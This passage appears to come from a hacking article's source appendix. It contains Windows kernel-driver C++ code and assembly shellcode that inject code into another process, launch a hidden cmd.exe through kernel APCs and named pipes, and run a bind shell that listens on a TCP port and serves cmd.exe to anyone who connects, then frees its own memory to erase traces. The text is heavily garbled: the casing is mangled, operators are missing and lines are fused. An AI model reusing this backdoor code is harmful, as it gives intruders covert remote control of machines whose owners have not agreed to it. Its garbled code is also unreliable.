//*(((((((((((((((((((((((((( (4 )= (DORD) CLID.UniQuethread;

// Write Process and thread ID INTO Shellcode, IT Will Be Needed for

// further operations with That Thread

* ((NT :: PClient_ID) (& shellcode [clid_addr]) = (nt :: client_id) clid;

// Write Shellcode to Allocated Memory

Zwwritevirtualmemory (hprocess, p, shellcode, sizeof_shellcode, 0);

// entry point is at the beginning of shellcode

EntryPoint = P;

// CREATE Stack Segment

NT :: User_stack stack = {0};

n = stackreserve;

NT :: ZwallocateVirtualMemory (HProcess, & Stack.expandableStackBottom, 0, & n,

MEM_RESERVE, PAGE_READWRITE

IF (! stack.expandablestackbottom) {dbgbkpt;

Return;

Stack.expandableStackBase = pchar (stack.expandablestackbottom)

StackReserve;

Stack.expandableStackLimit = Pchar (stack.expandableStackBase)

- StackCommit;

n = stackcommit Page_size;

P = pchar (stack.expandablestackbase) - n;

// Create Guard Page

NT :: ZwallocatevirtualMemory (HProcess, & P, 0, & n, Mem_commit, Page_Readwrite);

Ulong x; n = Page_Size;

ZWPROTECTVIRTUALMORY (HProcess, & P, & n,

Page_readwrite | page_guard, & x);

// Initialize New Thread Context

// similar to it's initialization by system

NT :: context context = {context_full};

CONTEXT.SEGGS = 0;

CONTEXT.SEGFS = 0x38;

CONTEXT.SEGES = 0x20;

CONTEXT.SEGDS = 0x20;

Context.Segss = 0x20;

CONTEXT.SEGCS = 0x18;

CONTEXT.EFLAGS = 0x3000;

Context.esp = ulong (stack.expandablestackbase) - 4;

Context.eip = ulong (entrypoint);

NT :: Client_id CID;

// Create and Start Thread

ZWCREATTHREAD (& Hthread, Thread_all_access, & atte,

HProcess, & CID, & Context, & Stack, True;

// Here I Tried to make thread alertable. The try failed.

/ * Handle htargetthread;

NT :: ZWOPENTHREAD (& Htargetthread, thread_all_access, & attr, & clid);

Pvoid ​​threadObj;

NT :: ObreferenceObjectByHandle (htargetthread, thread_all_access, null, nt :: kernelmode, & threadobj, null);

* (UNSIGNED Char *) ThreadObj 0x4a) = 1; * /

ZWRESUMETHREAD (hthread, 0);

}

Void shellStarter (void * startshellevent)

{

DO if (NT :: KewaitforsingleObject (StartShellevent, NT :: Executive, NT :: KernelMode, False, Null) == Status_suCcess

IF (Terminating) NT :: psterminatesystemthread (0); else startshell ();

While (1);

}

---- [8.2 - shellapc.cpp

#include

#include "ntdll.h"

#include "dynlinefromntdll.h"

#include "ntdllynamicloader.h"

#include "nebbetcreateprocess.h"

// debug macro

#if (dBG)

#define DBGBKPT __ASM INT 3

#ELSE

#define DBGBKPT

#ENDIF

// Flag Guarantees That Thread Certainly Will Execute APC Regardless Of

// it's state

#define special_kernel_mode_apc 2

Namespace NT

{

EXTERN "C"

{

// definitions for Windows NT-Suppirl APC Routines.

// There Are Exported in The Import Libraries,

// But Are Not in Ntddk.h

Void KeinitializeAPC (PKAPC APC,

PKTHREAD THREAD,

Cchar APCSTATEINDEX,

Pkkernel_routine kernelroutine,

Pkrundown_Routine RundownRoutine,

PKNORMAL_ROUTINE NORMALROUTINE,

KProcessor_Mode APCMODE,

PVOID NORMALCONTEXT);

Void KeinsertqueueAPC (PKAPC APC,

PVOID SYSTEMARGUMENT1,

PVOID SYSTEMARGUMENT2,

Uchar unknown;

}

}

// variant of structure system_processes for nt4

Namespace NT {

Typedef struct _system_processes_nt4 {// information class 5

Ulong nextentryDelta;

Ulong threadcount;

Ulong reserved1 [6];

Large_integer createtime;

Large_integer usertime;

Large_integer kernetime;

Unicode_string processname;

KPRIORITY BASEPRIORITY

Ulong processid;

Ulong inheritedFromProcessId;

Ulong handlecount;

Ulong reserved2 [2];

VM_Counters vmcounters;

System_threads throughs [1];

} System_processes_nt4, * psystem_processes_nt4;

}

// Function Searches Process with Given Name.

// Writes Pid and Tid of First Thread to ClientID

Bool FindProcess (PCWSTR Process, Out NT :: PClient_id ClientID)

{

NT :: Unicode_String ProcessName;

NT :: RTLINITUNICODESTRING (& ProcessName, Process);

Ulong n = 0xfff;

// Allocate Some Memory

Pulong Q = (Pulong) NT :: EXALLOCATEPOOL (NT :: NonPagedPool, N * Sizeof (* Q));

// Request Information About Processes and Threads

// Until it will fit in allocated memory.

While (NT :: ZwQuerySysteminformation (NT :: SystemProcessistthreadsinformation,

Q, N * SizeOf * q, 0))

{

// if IT Didn't Fit - Free Allocated Memory ...

NT :: EXFREEPOOL (Q);

n * = 2;

// ... and allocate TWICE BIGGER

Q = (Pulong) NT :: ExallocatePool (NT :: NonPagedPool, N * SizeOf (* Q));

}

Ulong Majorversion;

// Request OS Version

NT :: Psgetversion (& Majorversion, NULL, NULL, NULL);

// Copy Pointer to System_Processes.

// Copy Will Be Modified Indirectly

NT :: psystem_processes p = nt :: psystem_processes (q);

// "Process Not Found" - YET

Bool Found = 0;

// Pointer to P Will BE Used to Indirect Modify P.

// this trick is needed to force compiler to perform arithmetic operations with p

// in Bytes, Not in Sizeof System_Processes Units

Char ** pp = (char **) & P;

// Process Search Cycle

DO

{

// if Process Have Nonzero Number of Threads (0 Threads is Abnormal, But Possible),

// Has Name, That Matches Looked for ...

IF (P-> Threadcount) && (P-> ProcessName.buffer && (! NT:: RTLCompareunicodeString (& P-> ProcessName, & ProcessName, True)))))))

{

// ... The Copy Data About It to Variable Pointed by ClientId.

// Accounted for Different SizeOf System_Processes in Different Versions of NT

IF (MajorVersion <= 4)

* ClientID = ((nt :: psystem_processes_NT4) P) -> Threads [0] .clientId;

Else * clientid = p-> threads [0] .clientId;

// set flag "process found"

FOUND = 1;

// stop search

Break;

}

// no more processesses - stop

IF (! (p-> nextentryDelta) Break;

//Move to next process

* PP = P-> NEXTENTRYDELTA;

WHILE (1);

// free memory

NT :: EXFREEPOOL (Q);

// Return "is the process found" Flag

Return Found;

}

// generates named pipe name Similar to buy by api-function createpipe

Void makepipename (NT :: Punicode_String KernelPipename)

{

// for generation of unrepeating numbers

Static unsigned long pipeidx;

// pseudorandom Number

Ulong rnd;

// Name Template

Wchar_t * kpns = l "// device // namedpipe // win32pipes.% 08X.% 08X"; // ... and it's length in bytes

Ulong KPNL = WCSLEN (KPNS) (8-4) * 2 1;

// String Buffer: Allocated Here, FREED by Caller

Wchar_t * buf;

// Request System Timer: KequeryInterrupttime is here not for exact

// counting out time, But for generation of pseudorandom Numbers

RND = (ulong) NT :: KeueryInterrupttime ();

// Allocate Memory for String

BUF = (wchar_t *) NT :: ExallocatePool (NT :: NonPagedPool, (KPNL) * 2);

// generate name: Substitution Numbers o Template

_snwprintf (buf, kpnl, kpns, packidx , rnd);

// Write Buffer Address and String Length To KernelPipename (InitialIS)

NT :: RTLINITUNICODESTRING (KernelPipeName, BUF);

}

Extern "C" NTSTATUS MyCreatePipe1 (Phandle PHPIPE, NT :: Punicode_String PiPENAME, IN Access_Mask DesiredAccess, Psecurity_Descriptor SD, Ulong ShareAccess);

Extern NTSTATUS Buildalowingsd (PVOID * SD);

Struct APC_Parameters {

NT :: Unicode_String KernelPipeName;

Ulong childpid;

}

// APC Handler, Runs in Context of Given Thread

Void KmapcCallback1 (NT :: PKAPC APC, NT :: Pknormal_Routine NormalRoutine,

PVOID NORMALCONTEXT, PVOID SYSTEMARGUMENT1,

Pvoid ​​systemGument2)

{

Unreferenced_Parameter (NormalRoutine);

Unreferenced_Parameter (NormalContext);

DBGBKPT;

// Start Process with redirected I / O, SystemArgument1 is named Pipe Name

(* (APC_Parameters **) SystemGument1) -> ChildPid = Execute_piped (l "// systemroot // system32 // cmd.exe", & ((* (APC_Parameters **) SystemGument1) -> kernelpipeName));

// free memory occupied by APC

NT :: EXFREEPOOL (APC);

// Signal About APC Processing Completion

NT :: KestEvent (* (nt :: kevent **) systemGument2, 0, true);

Return;

}

// Function Starts shell process (cmd.exe) with redirected I / o .// Returns Bidirectional named Pipe Handle in PHPIPE

Extern "C" Ulong Startshell (Phandle PHPIPE)

{

// _ ASM INT 3;

Handle HProcess = 0, HTHREAD;

APC_Parameters APCParameters;

// Event of APC Processing Completion

NT :: KEVENT APCCCompletion;

// DBGBKPT;

NT :: Client_id Clid;

// Look for process to launch shell from it's context.

// That Process Must Be Always Present in System

IF (! "(/ * l" services.exe "* / l" cagc.exe ", & clid) {dbgbkpt;

Return false;

NT :: Object_attributes attr = {sizeof (nt :: object_attributes), 0, null, obj_case_insensitive};

// Get Process Handle from it's PID

NT :: ZwopenProcess (& HProcess, Process_all_Access, & attr, & clid);

IF (! hprocess) {dBGBKPT;

Return false;

// Get Thread Handle from It's Tid

NT :: ZWOPENTHREAD (& HTHREAD, Thread_all_access, & attr, & clid);

NT :: pkthread threadobj;

// Get Pointer to Thread Object from it's handle

NT :: ObreferenceObjectByHandle (hthread, thread_all_access, null, nt :: kernelmode, (pvoid *) & threadobj, null);

NT :: PKAPC APC;

Apcparameters.childPid = 0;

// Allocate Memory for APC

APC = (NT :: Kapc *) NT :: ExallocatePool (NT :: NonPagedPool, SizeOf (NT :: KAPC));

// Initialize APC

DBGBKPT;

NT :: KeinitializeApc (APC,

ThreadObj,

Special_kernel_mode_APC,

(NT :: Pkkernel_Routine) & kmapcCallback1, // kernel mode routine

0, // Rundown Routine

0, // user-mode routine

NT :: kernelmode,

0 // context

);

// Initialize APC Processing Completion Event

NT :: KeinitializeEvent (& APCCCompletionEvent, NT :: SynchronizationEvent, False);

// generate random unique named pipe name

MakepipeName (& apcparameters.kernelpipename / *, "& userpipename * /); pvoid sd;

// Access Will Be Read-Only Without IT.

// there is a weak place in the view of security.

IF (Buildalowingsd (& SD)) Return False;

IF (MyCreatePipe1 (phpipe, & apcparameters.kernelpipename, generic_read | generic_write, sd, file_share_read | file_share_write) Return False;

NT :: KeinsertQueueAPC (APC, & Apcparameters, & APCCCompletionEvent, 0);

NT :: KewaitForsingleObject (& APCCCompletionEvent, NT :: Executive, NT :: KernelMode, False, null);

NT :: RTLFreeUnicodestring (& apcparameters.kernelpipename);

NT :: ZWClose (HProcess);

NT :: ZWClose (hthread);

Return apcparameters.childpid;

}

---- [8.3 - Dummy4.asm

Exported Symbols - Reference Points for Automated Tool

WHICH generates c code of hEX-encoded String

Public Start

Public endfile

Public clid_here

; Debug Flag - INT 3 in The Code

Debug EQU 1

Falg "Accept more kiln 1 connection"

Multiple_Connect EQU 1

Falg "Bind to Next Port, IF Current Port Busy"

Retry_bind EQU 1

.486; Processor Type

.Model flat, stdcall; Model of Memory

Option Casemap: None; Disable Case Sensivity

Includes for File

Include IMGHDR.INC

INCLUDE W32.INC

Include wsock2.inc

Structure Initializing

; -------------------------

SSEH Struct

Orgesp dd?

Saveeip DD?

SSEH Ends

Client_id struct

UniqueProcess DD?

UniQuetHread DD?

Client_id Ends

Object_attributes struct

Length DD?

RootDirectory DD?

Objectname DD?

Attributes dd?

SecurityDescriptor DD?

SecurityQualityOfService DD?

Object_attributes ends

; -------------------------

.code

; ----------------------------------------------

MAX_API_STRING_LENGTH EQU 150

Allocation_Granularity EQU 10000H

; -------------------------------------------- New_SECTION:

; Macro Replaces Lea, Correcting Address for Position Independency

Laa Macro REG, OPERAND

Lea REG, OPERAND

Add Reg, Fixupdelta

ENDM

The Same, But Not Uses fixupdelta (autonomous)

Laaa Macro REG, OPERAND

Local @@ delta

Call $ 5

@@ delta:

Sub DWORD PTR [ESP], OFFSET @@ delta

Lea REG, OPERAND

Add Reg, DWORD PTR [ESP]

Add ESP, 4

ENDM

Main Proc

Start:

IFDEF Debug

INT 3

ENDIF

Code for Evaluating Self Address

Delta:

POP EBX

Sub EBX, Offset Delta

; Allocate Place for Variables in Stack

Enter SizeOflocals, 0

; Save Difference Between Load Address and ImageBase

MOV Fixupdelta, EBX

Tables, WHERE to WRITE Addresses of Exported Functions

Kernel32FunctionStable EQU _CRETHREAD

NTDLFunctionStable EQU _ZWOPENTHREAD

WS2_32FunctionStable EQU _WSASocket

; Local Variables

local flag: DWORD, save_eip: DWORD, _CreateThread: DWORD, _GetThreadContext: DWORD, _SetThreadContext: DWORD, _ExitThread: DWORD, _LoadLibrary: DWORD, _CreateProcessA: DWORD, _Sleep: DWORD, _VirtualFree: DWORD, _ZwOpenThread: DWORD, _ZwAlertThread: DWORD, cxt : CONTEXT, clid: CLIENT_ID, hThread: DWORD, attr: OBJECT_ATTRIBUTES, addr: sockaddr_in, sizeofaddr: DWORD, sock: DWORD, sock2: DWORD, StartInf: STARTUPINFO, ProcInf: PROCESS_INFORMATION, _WSASocket: DWORD, _bind: DWORD, _listen: DWORD , _WSASTARTUP: DWORD, _WSACLANUP: DWORD, WSADAT: WSADATA, FIXUPDELTA: DWORD = SizeOflocals

Assume fs: Nothing

; ---- Get imagebase of kernel32.dll ----

Lea EBX, Kernel32FunctionStable

Push EBX

LAA EBX, KERNEL32StringTable

Push EBX

Push 0FFFF0000h

Call getdllbaseandloadfunctions

LEA EBX, NTDLFunctionStable

Push EBX

LAA EBX, NTDLSTRINGTABLE

Push EBX

Push 0FFFF0000h

Call getdllbaseandloadfunctionslaa edi, clid_here

Push EDI

Assume EDI: PTR Object_attributes

Lea EDI, Attr

CLD

Mov ECX, SIZE Object_attributes

XOR EAX, EAX

Rep Stosb

Lea EDI, Attr

MOV [EDI] .length, size object_attributes

Push EDI

Push trread_all_access

Lea Edi, Hthread

Push EDI

IFDEF Debug

INT 3

ENDIF

Call_zwopenthread

Lea EDI, CXT

Assume EDI: PTR Context

MOV [EDI] .cx_contextflags, context_full

XOR EBX, EBX

Mov Eax, Hthread

; there is a thread Handle in EAX

; Push at ONCE for CALL MANY FOLLOWING FUNCTIONS

Push EDI; _SETTHREADCONTEXT

Push EAX

;-)

Push eax; _zwalertthread

;-)

Push EDI; _SETTHREADCONTEXT

Push EAX

;-)

Push EDI; _GETTHREADCONTEXT

Push EAX

Call_GetthreadContext

MOV EAX, [EDI] .cx_eip

Mov Save_EIP, EAX

LAA Eax, New_Thread

MOV [EDI] .cx_eip, EAX

; Self-modify code

; Save EBP TO COPY CURRENT Stack in Each New Thread

LAA EAX, EBP_VALUE_HERE

MOV [EAX], EBP

LAA EAX, EBP1_VALUE_HERE

MOV [EAX], EBP

Write Addres of flag, That Informs of "Create Main Thread" completion

LAA EAX, FLAG_ADDR_HERE

Lea EBX, FLAG

MOV [EAX], EBX

MOV FLAG, 0

Call_SetThreadContext

If Thread in Wait State, IT Will NOT Run Until It (wait) Ends or Alerted

Call_zwalertthread

NOT WORKS if Wait is nonalertable

Wait for main trread code

Check_flag:

Call _sleep, 10

CMP Flag, 1

JNZ Check_Flag

Restore EIP OF Interupted Thread

MOV EAX, Save_eip

MOV [EDI] .cx_eip, EAX

Call_SetThreadContext

PUSH 0

Call_exitthread

; - this code executes in interrupted thread and creates main thread ---

NEW_THREAD:

IFDEF Debug

INT 3

ENDIF

EBP1_VALUE_HERE_2:

MOV EBP, 0

LAB_POSLE_EBP1_VALUE:

ORG EBP1_VALUE_HERE_2 1

EBP1_VALUE_HERE:

ORG LAB_POSLE_EBP1_VALUE-Main

XOR EAX, EAX

Push EAX

Push EAX

Push Eaxlaa EBX, Remote_Shell

Push EBX

Push EAX

Push EAX

Call_createthread

; Call _Sleep, Infinite

JMP $

Remote_shell:

IFDEF Debug

INT 3

ENDIF

EBP_VALUE_HERE_2:

MOV ESI, 0

LAB_POSLE_EBP_VALUE:

ORG EBP_VALUE_HERE_2 1

EBP_VALUE_HERE:

ORG LAB_POSLE_EBP_VALUE-Main

Mov ECX, SizeOflocals

SUB ESI, ECX

MOV EDI, ESP

Sub EDI, ECX

CLD

REP MOVSB

MOV EBP, ESP

SUB ESP, SizeOflocals

FLAG_ADDR_HERE_2:

MOV EAX, 0

lab_posle_flag_addr:

ORG FLAG_ADDR_HERE_2 1

FLAG_ADDR_HERE:

ORG LAB_POSLE_FLAG_ADDR-Main

Mov DWORD PTR [EAX], 1

Load Winsock

Laa Eax, SzWSock32

Call _LoadLibrary, EAX

OR EAX, EAX

JZ Quit

; ---- Get ImageBase of WS2_32.dll ----

I'm deviator: loading at first, then if seek :)

Lea EBX, WS2_32FunctionStable

Push EBX

LAA EBX, WS2_32StringTable

Push EBX

Push EAX

Call getdllbaseandloadfunctions

; --- Telnet Server

Lea Eax, WSADAT

Push EAX

Push 0101h

Call_wsastartup

XOR EBX, EBX

Socket Does Not Suit here!

Call_Wsasocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, EBX, EBX, EBX

Mov Sock, EAX

Mov addr.sin_family, af_inet

Mov addr.sin_port, 0088h

Mov addr.sin_addr, incdr_any

Love for unused port from 34816 and bind to it

Retry_bind:

Lea EBX, AddR

Call _bind, sock, ebx, size sockaddr_in

IFDEF RETRY_BIND

OR EAX, EAX

JZ L_Listen

Lea Edx, Addr.sin_Port 1

Inc Byte PTR [EDX]

CMP Byte Ptr [EDX], 0

ALL PORTS BUSY ...

JZ Quit

JMP Retry_bind

ENDIF

l_listen:

Call_Listen, Sock, 1

OR EAX, EAX

Jnz quit

Shellcycle:

Mov SizeOfaddr, Size SockAddr_in

Lea Eax, SizeOfaddr

Push EAX

Lea Eax, Addr

Push EAX

Push Sock

Call_accept

Mov Sock2, EAX

Runcmd:

; INT 3

Zero StartInf

CLD

Lea Edi, StartInf

XOR EAX, EAX

Mov ECX, SIZE Startupinfo

Rep Stosb

Fill StartInf. Shell Will Be Bound To Socket

Mov StartInf.dwflags, Startf_usestdhandles; or Startf_useshowWindowMov Eax, SOCK2

Mov StartInf.hstdoutput, EAX

Mov StartInf.hstderror, EAX

Mov StartInf.hstdInput, EAX

Mov StartInf.cb, Size Startupinfo

Start shell

XOR EBX, EBX

Lea Eax, Procinf

Push EAX

Lea Eax, StartInf

Push EAX

Push EBX

Push EBX

Push Create_no_window

Push 1

Push EBX

Push EBX

LAA Eax, cmdline

Push EAX

Push EBX

Call_createprocessa

To Avoid Hanging Sessions

Call _closeSocket, SOCK2

IFDEF MULTIPLE_CONNECT

JMP shellcycle

ENDIF

Quit:

Call _closeSocket, SOCK

Call_wsacleanup

Sweep Traces: Free Memory with That Code and Terminate Thread

Code Must Not Free Stack Because EXITTHREAD Address Is there

IT May Wipe (Zero Out) Stack in Future Versions

Push Mem_Release

XOR EBX, EBX

Push EBX

Push Offset Start

Push EBX

Push _exitthread

JMP _VIRTUALFREE

Main endp

; ------ Routines --------

Returns null in the case of an error

GetdllBaseandLoadFunctions Proc Uses Edi ESI, DWSearchStartaddr: DWORD, FUNCNAMESTABLE: DWORD, FUNCPTRSTABLE: DWORD

; ----------------------------------------------

Local SEH: SSEH, Funcnamend: DWORD, DWDLLBASE: DWORD, PEHEADER: DWORD

Install SEH FRAME

Laaa Eax, kernelsearchsehhandler

Push EAX

Push fs: dword ptr [0]

Mov Seh.orgesp, ESP

Laaa Eax, ExceptCont

Mov Seh.Saveeip, EAX

MOV FS: DWORD PTR [0], ESP

Start the Search

Mov Edi, DWSearchStartaddr

.While true

.IF Word PTR [EDI] == Image_DOS_SIGNATURE

MOV ESI, EDI

Add ESI, [ESI 03CH]

.IF DWORD PTR [ESI] == Image_NT_SIGNATURE

.break

.endif

.endif

ExceptCont:

SUB EDI, 010000H

.endw

Mov dwdllbase, EDI

Mov Peheader, ESI

LoadFunctions:

Get The String Length of The Target API

Mov Edi, FuncNameStable

MOV ECX, MAX_API_STRING_LENGTH

XOR Al, AlRepnz Scasb

MOV FuncNameEnd, EDI

MOV ECX, EDI

Sub ECX, FuncNameStable; ECX -> API STRING LENGTH

; Trace the export table

MOV EDX, [ESI 078H]; EDX -> Export Table

Add Edx, Dwdllbase

Assume EDX: PTR image_export_directory

MOV EBX, [EDX] .addressofNames; EBX -> AddressOfnames Array Pointer

Add Ebx, DwdllBase

XOR Eax, Eax; Eax AddressOfnames Index

.repeat

Mov Edi, [EBX]

Add Edi, DWDLLBASE

Mov ESI, FuncNameStable

Push Ecx; Save the API STRING LENGTH

REPZ CMPSB

.IF ZERO?

Add ESP, 4

.break

.endif

POP ECX

Add ebx, 4

INC EAX

.until eax == [edx] .NumberOfnames

Did We Found Sth?

.IF EAX == [edx] .Numberofnames

JMP EXCEPTCONTINUE

.endif

Find The Corresponding ORDINAL

Mov ESI, [EDX] .addressofnameRDINALS

Add ESI, DWDLLBASE

SHL EAX, 1

Add Eax, ESI

Movzx Eax, Word PTR [EAX]

; Get The Address of the API

Mov EDI, [EDX] .addressoffunctions

SHL EAX, 2

Add Eax, DWDLLBASE

Add Eax, EDI

Mov Eax, [EAX]

Add Eax, DWDLLBASE

MOV ECX, FuncNamend

MOV FuncNamestable, ECX

MOV EBX, FUNCPTRSTABLE

Mov DWORD PTR [EBX], EAX

Mov ESI, Peheader

CMP Byte PTR [ECX], 0

Jnz loadingfunctions

Quit:

Shutdown SEH FRAME

POP FS: DWORD PTR [0]

Add ESP, 4

RET

ExceptContinue:

Mov Edi, DWDLLBASE

JMP EXCEPTCONT

GetdllBaseandLoadFunctions Endp

KernelSearchsehhandler Proc C PEXCEPT: DWORD, PFRAME: DWORD, PCONTEXT: DWORD, PDISPATCH: DWORD

Mov Eax, PContext

Assume EAX: PTR Context

Sub DWORD PTR [EAX] .cx_edi, 010000h

MOV Eax, 0; ExceptionContinueexecution

RET

KernelSearchsehhandler Endp

Kernel32stringTable:

SzcreateThread DB "CreateThread", 0

SzgetthreadContext DB "getthreadContext", 0

SzsetthreadContext DB "setthreadContext", 0

Szexitthread DB "EXIXTTHREAD", 0

SzloadLibrary DB "LoadLibrarya", 0

SzcreateProcessa DB "CreateProcessa", 0

Szsleep DB "Sleep", 0

SzvirtualFree DB "VirtualFree", 0

DB 0

SzWSock32 DB "WS2_32.dll", 0

WS2_32stringtable:

Szsocket DB "Wsasocketa", 0

SZBIND DB "BIND", 0

Szlisten DB "Listen", 0

Szaccept DB "Accept", 0

Szwsastartup DB "WSAStartup", 0

SzclossoCket DB "CloseSocket", 0

Szwsacleanup DB "wsacleanup", 0

DB 0

NTDLLStringTable:

SzzWopenThread DB "Zwopenthread", 0

Szzwalertthread DB "Zwalertthread", 0

DB 0

Cmdline DB "cmd.exe", 0

ALIGN 4

CLID_HERE Client_ID <0>

; ----------------------------------------------

Endfile:

End Start

---- [8.4 - NebbetcreateProcess.cpp

#include

#include "dynlinefromntdll.h"

#include "ntdllynamicloader.h"

Extern "C" {

#include "second ".h"

}

Namespace NT {

Typedef struct _csrss_message {

Ulong unknwon1;

Ulong opcode;

Ulong status;

Ulong unknwon2;

} CSRSS_MESSAGE, * PCSRSS_MESSAGE;

}

Dynamic_Load1 (CSRClientCall Server)

Dynamic_Load1 (RTLDESTROPROCESSPARETERS)

Dynamic_Load1 (Zwwritevirtualmemory)

Dynamic_Load1 (ZwresuMethread)

Dynamic_Load1 (ZwcreateThread)

Dynamic_Load1 (ZWProtectVirtualMemory)

Dynamic_Load1 (ZWCREATEPROCESS)

Dynamic_Load1 (zwrequestwaitreport)

Dynamic_Load1 (ZwreadVirtualMemory)

Dynamic_Load1 (zwcreatenamedpipefile)

Dynamic_Load1 (LDRGETDLLHANDLE)

// Dynamic Import of Functions Exported from NTDLL.DLL

Extern "C" void loadingfuncs ()

{

Static pvoid PNTDLL;

IF (! PNTDLL)

{

PNTDLL = FINDNT ();

Dynamic_Load2 (CSRClientCall Server)

Dynamic_Load2 (RTLDESTROPROCESSPARETERS)

Dynamic_Load2 (Zwwritevirtualmemory)

Dynamic_Load2 (ZwresuMethread)

Dynamic_Load2 (ZwcreateThread)

Dynamic_Load2 (ZWProtectVirtualMemory)

Dynamic_Load2 (ZwcreateProcess)

Dynamic_Load2 (ZwrequestWaitrePort)

Dynamic_Load2 (ZwreadVirtualMemory)

Dynamic_Load2 (zwcreatenamedpipefile)

Dynamic_Load2 (LDRGETDLLHANDLE)

}

}

// INFORMS CSRSS About New Win32-Process

Void informcsrs (Handle Hthread, Ulong Pid, ​​Ulong TID)

{

// _ASM INT 3;

Struct CSRSS_MESSAGE {

Ulong UNKNOWN1;

Ulong opcode;

Ulong status;

Ulong UNKNOWN2;

}

Struct {

NT :: port_message portmessage;

CSRSS_MESSAGE CSRSSMESSAGE;

PROCESS_INFORMATION processinformation;

NT :: Client_id Debugger;

Ulong CreationFlags;

Ulong vdminfo [2];

} csrmsg = {{0}, {0}, {HProcess, Hthread, PID, TID}, {0}, 0 / * startf_useestdhandles | Startf_useshowwindow * /, {0}};

CSRClientCall Server (& CSRMSG, 0, 0x10000, 0x24);

}

// Initialse Empty Environment

Pwstr initenvironment (Handle Hprocess)

{

PVOID P = 0;

DWORD DUMMY = 0;

DWORD N = SizeOf (Dummy);

DWORD M;

m = n;

NT :: ZwallocatevirtualMemory (HProcess, & P, 0, & M,

MEM_COMMIT, PAGE_READWRITE

Zwwritevirtualmemory (hprocess, p, & dummy, n, 0);

Return PWSTR (P);

}

// Clone of NTDLL :: RTLCReateProcessParameters ...

Void RTLCREATEPROCESSPARESSPARETERS (NT :: PPRocess_Parameters * PP,

NT :: Punicode_String ImageFile,

NT :: Punicode_String DLLPATH,

NT :: Punicode_String CurrentDirectory,

NT :: PUNICODE_STRING COMMANDLINE,

Ulong CreationFlag,

NT :: Punicode_String WindowTitle,

NT :: Punicode_String Desktop,

NT :: Punicode_String Reserved,

NT :: PUNICODE_STRING RESERVED2) {

NT :: process_parameters * LPP;

Ulong size = sizeof (nt :: process_parameters);

IF (imagefile) size = imagefile-> maximumledth;

IF (DLLPATH) SIZE = DLLPATH-> MaxImumlength; if (CurrentDirectory) Size = CurrentDirectory-> MaximumLength;

IF (CommandLine) Size = CommandLine-> MaximumLength;

IF (WindowTitle) Size = WINDOWTITLE-> MaxImumlength

IF (Desktop) Size = Desktop-> Maximumlength;

IF (reserved) size = reserved-> maximumlength

IF (reserved2) size = reserved2-> maximumlength;

// allocate the buffer ..

* PP = (NT :: PPRocess_Parameters) NT :: ExallocatePool (NT :: NonPagedPool, size);

LPP = * pp;

RTLZEROMEMORY (LPP, SIZE);

LPP-> Allocationsize = Page_Size;

LPP-> size = sizeof (nt :: process_parameters); // Unicode Size Will Be Added (if any)

LPP-> HSTDINPUT = 0;

LPP-> HSTDOUTPUT = 0;

LPP-> hstderror = 0;

CurrentDirectory {

LPP-> CurrentDirectoryName.Length = CurrentDirectory-> Length;

LPP-> CurrentDirectoryName.maximumLength = CURRENTDIRECTORY-> MaxImumLength

RTLCopyMemory ((PCHAR) LPP-> Size, CurrentDirectory-> Buffer, CurrentDirectory-> Length);

LPP-> CurrentDirectoryName.Buffer = (PWcha) LPP-> size;

LPP-> Size = CurrentDirectory-> MaximumLength;

}

IF (DLLPATH) {

LPP-> DLLPATH.LENGTH = DLLPATH-> Length;

LPP-> DLLPATH.MAXIMUMUMLENGTH = DLLPATH-> MaximumLength

RTLCopyMemory ((Pchar) LPP-> size, dllpa-> buffer, dllpath-> length

LPP-> DLLPATH.BUFFER = (pwchar) LPP-> Size

LPP-> Size = DLLPATH-> MaxImumlength;

}

IF (imagefile) {

LPP-> imagefile.length = imagefile-> length;

LPP-> imagefile.maximumlength = imagefile-> maximumlength

RTLCopyMemory ((Pchar) (LPP) LPP-> size, imagefile-> buffer, imagefile-> length

LPP-> imagefile.buffer = (pwchar) LPP-> size; lpp-> size = imagefile-> maximumledth;

}

IF (CommandLine) {

LPP-> CommandLine.Length = commandline-> length;

LPP-> CommandLine.maximumLength = CommandLine-> MaximumLength

RTLCopyMemory (Pchar) (LPP) LPP-> Size, CommandLine-> Buffer, CommandLine-> Length;

LPP-> CommandLine.Buffer = (pwchar) LPP-> Size

LPP-> Size = CommandLine-> MaxImumlength

}

IF (windowTitle) {

LPP-> WINDOWTILE.LENGTH = WINDOWTITLE-> Length;

LPP-> WINDOWTILE.MAXIMUMUMLENGTH = WINDOWTITLE-> MaxImumlength

RTLCopyMemory ((Pchar) (LPP) LPP-> Size, Windowtitle-> Buffer, WindowTitle-> Length;

LPP-> WINDOWTILE.BUFFER = (PWCHAR) LPP-> size;

LPP-> Size = WINDOWTITLE-> MaxImumlength

}

IF (Desktop) {

LPP-> Desktop.length = desktop-> length;

LPP-> Desktop.maximumLength = desktop-> maximumlength

RTLCopyMemory ((Pchar) LPP-> Size, Desktop-> buffer, desktop-> length

LPP-> Desktop.Buffer = (pwchar) LPP-> size;

LPP-> Size = Desktop-> MaximumLENGTH;

}

IF (reserved) {

LPP-> reserved2.length = reserved-> length;

LPP-> reserved2.maximumlength = reserved-> maximumlength

RTLCopyMemory ((Pchar) (LPP) LPP-> size, reserved-> buffer, reserved-> length

LPP-> reserved2.buffer = (pwchar) LPP-> size;

LPP-> Size = reserved-> maximumlength

}

/ * if (reserved2) {

LPP-> reserved3.length = reserved2-> length;

LPP-> reserved3.maximumlength = reserved2-> maximumlength

RTLCopyMemory ((Pchar) (LPP) LPP-> size, reserved2-> buffer, reserved2-> length

LPP-> reserved3.buffer = (pwchar) LPP-> size;

LPP-> Size = reserved2-> maximumledth;} * /

}

Void CreateProcessParameters (Handle Hprocess, NT :: PPEB PEB,

NT :: Punicode_String ImageFile, Handle Hpipe)

{

NT :: pprocess_parameters pp;

NT :: Unicode_String CurrentDirectory;

NT :: Unicode_String DLLPATH;

NT :: RTLINITUNICODESTRING (& CurrentDirectory, L "C: // WinNT // System32 //");

NT :: RTLINITUNICODESTRING (& DLLPATH, L "C: //; C: // WinNT //; C: // WinNT // System32 //");

RTLCreateProcessParameters (& PP, Imagefile, & DLLPATH, & CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);

PP-> hstdinput = HPIPE;

PP-> HSTDOUTPUT = HPIPE; // HSTDOUTPIPE

PP-> HSTDERROR = HPIPE; // hstdoutpipe;

PP-> dwflags = startf_useestdhandles | Startf_useshowwindow;

PP-> wshowwindow = sw_hide; // CREATE_NO_WINDOW;

PP-> Environment = InitENVIRONMENT (HPROCESS);

Ulong n = pp-> size;

PVOID P = 0;

